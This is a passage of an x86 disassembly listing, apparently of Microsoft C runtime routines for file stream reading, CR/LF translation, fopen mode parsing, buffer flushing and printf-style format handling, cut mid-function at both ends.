		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DC6C0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DC5C0h[eax*4]
		mov	eax, dword_4DC5C0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_41F1E4
		call	near ptr 2690DCCh
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB278, 9
		mov	dword_4DB27C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 2690DCCh
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB2F8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DB464
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DB460
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DC5A0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DB598
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DB598
		mov	[edi+ecx], eax
		mov	eax, dword_4DB598
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C2F8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C2F8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43CA08
		jz	short loc_41F5EA
		cmp	esi, offset dword_43CA28
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43C950


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C2F8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43C514
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
